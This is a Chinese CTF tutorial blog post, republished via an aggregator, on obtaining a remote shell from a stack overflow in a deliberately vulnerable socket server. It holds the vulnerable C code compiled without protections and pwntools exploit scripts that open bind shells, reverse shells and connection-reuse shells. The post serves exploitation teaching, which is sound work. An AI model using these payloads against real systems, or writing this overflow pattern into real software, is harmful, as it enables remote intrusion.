5

Getshell远程:真·RCE 正连?反连?不连?

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/13/getshell3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

真实的网络程序和Pwn题目中把输入输出映射到网络端口,二者程序本体的交互接口显然是不同的,后一种的CTF题目,真的具有现实意义么?如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?如果不能,我如何才能Getshell呢?本篇我们通过一个例题回答上述问题。

socket

在看例题之前,首先要知道一个真实的网络程序是怎样实现的。在学习计算机网络时我们了解TCP/IP协议栈,在平日的安全研究中,我们能观察到一个程序使用了某个TCP端口,可以用wireshark抓到其通信的流量进而分析,如果分析出什么毛病,则可以用pwntools这种工具来完成基于网络信道的攻击。不过在以上的过程中,似乎并没有了解到我们到底是怎么把数据包发出去的,是从哪个接口来控制的TCP/IP这套协议栈。其实这个接口就是socket,linux提供给用户态程序来控制网络的接口。一句话理解:socket是API,背后实现了TCP/IP协议栈。

阅读完以上文章就大概明白了,一个网络连接对应了一个文件描述符,发送和接收数据最基本的方法和文件操作是完全一致的,就是read/write

一个简单的栈溢出,不过输入接口是程序自身的启动的网络接口(tcp:8888)

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
  int  s,c,j  =  0xe4ff;
  char buf[10];
  
  struct sockaddr_in server; 
  server.sin_family      = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port        = htons(8888);

  s = socket(AF_INET,SOCK_STREAM,0);
      bind  (s,(struct sockaddr *)&server,sizeof(server));
      listen(s,10);
  c = accept(s,NULL,NULL);
      read  (c,buf,1000);

  return 0;
}

关闭所有保护编译:

➜  gcc main.c -fno-stack-protector -z execstack -no-pie -o main

特意预留了0xe4ff这个变量,小端存储对应的机器码就是jmp rsp

>>> from pwn import *
>>> context(arch='amd64')
>>> disasm('\xff\xe4')
'   0:   ff e4          jmp    rsp'

找到编译后这个gadget的地址,即可写利用了:

➜  ROPgadget --binary ./main | grep "jmp rsp"
0x0000000000400698 : jmp rsp

这里我们全部使用pwntools提供的shellcraft中的shellcode来解题。在常见的CTF题目中,由于和目标程序交互的本质就是标准输入输出,所以直接使用shellcraft.sh(),即可执行shell程序并且和我们交互。但是如果用这种方法攻击此例题,则题目本地侧弹出一个shell,远程并无法Getshell:

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.sh())
io.send('a'*40+p64(0x400698)+shellcode)

那我们如何才能Getshell呢?有如下三种办法:

shellcode的功能为:让漏洞程序在其本地开启一个网络端口,并在有连接连入时将shell进程的输入输出绑定到该连接上。在msf中这个叫shell_bind_tcp,在pwntools中叫shellcraft.bindsh(),参数可以指定端口。如下,我们shellcode将shell开在目标机器的4444端口,然后继续用pwntools的去连接该端口即可在攻击窗口中获得一个交互式的shell。

from pwn import *
context(arch='amd64',os='linux')

io = remote("127.0.0.1",8888)
sc = asm(shellcraft.bindsh(4444))
io.send('a'*40+p64(0x400698)+sc)

sh = remote("127.0.0.1",4444)
sh.interactive()

shellcode的功能为:让漏洞程序去连接远程的攻击者机器,并且将shell进程的输入输出绑定到此连接上。在msf中这个叫shell_reverse_tcp,在pwntools中需要两步shellcraft.connect()+shellcraft.dupsh()。根据文档,第一步会把与攻击者建立连接的文件描述符存放到rbp寄存器中,第二步会默认使用rbp寄存器中的文件描述符来重定向shell进程的输入和输出,即完成反连shell。

如下,攻击侧首先使用pwntools的listen函数监听本机的4444端口,然后shellcode执行后将shell反弹到攻击侧的4444端口,然后使用pwntools的wait_for_connection函数等待反连的连接,连入后即可在攻击窗口中获得一个交互式的shell。

from pwn import *
context(arch='amd64',os='linux')

sh = listen(4444)
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
io.send('a'*40+p64(0x400698)+shellcode)

sh.wait_for_connection()
sh.interactive()

远程漏洞利用:无需借助套接字的Shellcode

其实并不可能不连。你要远程攻击他,那必定得有数据通路,所以可以复用你攻击打过去的这个连接来获得交互shell。这个不连其实是不产生新的连接,也就是连接复用。在msf中这个叫shell_find_port。在pwntools有两种办法可以实现这个复用,第一个是直接用dupsh(),参数的立即数直接猜我们打过去连接的文件描述符的编号,第二种方法是findpeersh,参数可以指明连接的端口号以挑选出合适的连接(没太研究明白是哪侧的端口)。此种方法在实际演示漏洞中几乎是没有必要的,除非是网络出入规则及其严格的情景下,或者比较古怪的CTF题目中既不让你正连,也不让你反连。如:X-NUCA 2020 Final 团队赛:QMIPS

本题如下,直接在攻击连接上获得交互式shell,并不用产生多余的连接。

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.dupsh(4))
shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()

媳妇的本题练习:深入理解pwn题中的正连/反连tcp

以上五种shellcode罗列如下:

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.linux.bindsh(4444))
#shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#shellcode = asm(shellcraft.dupsh(4))
#shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()
  • msf的shellcode可以使用 msfvenom --list payloads 查找
  • pwntools的shellcode可以直接在文档中查找:shellcraft

其实这五种shellcode,只要执行了,都是远程代码执行(RCE),但在攻击侧获得一个交互式shell的是后四种。

  • 问:如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?
  • 答:不能在远程拿到shell。

  • 问:以上情节,如何远程Getshell呢?
  • 答:正连、反连、不连。

  • 问:把标准输入输出映射到网络端口的CTF题目,真的具有现实意义么?
  • 答:有,其实就是换个shellcode的事。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK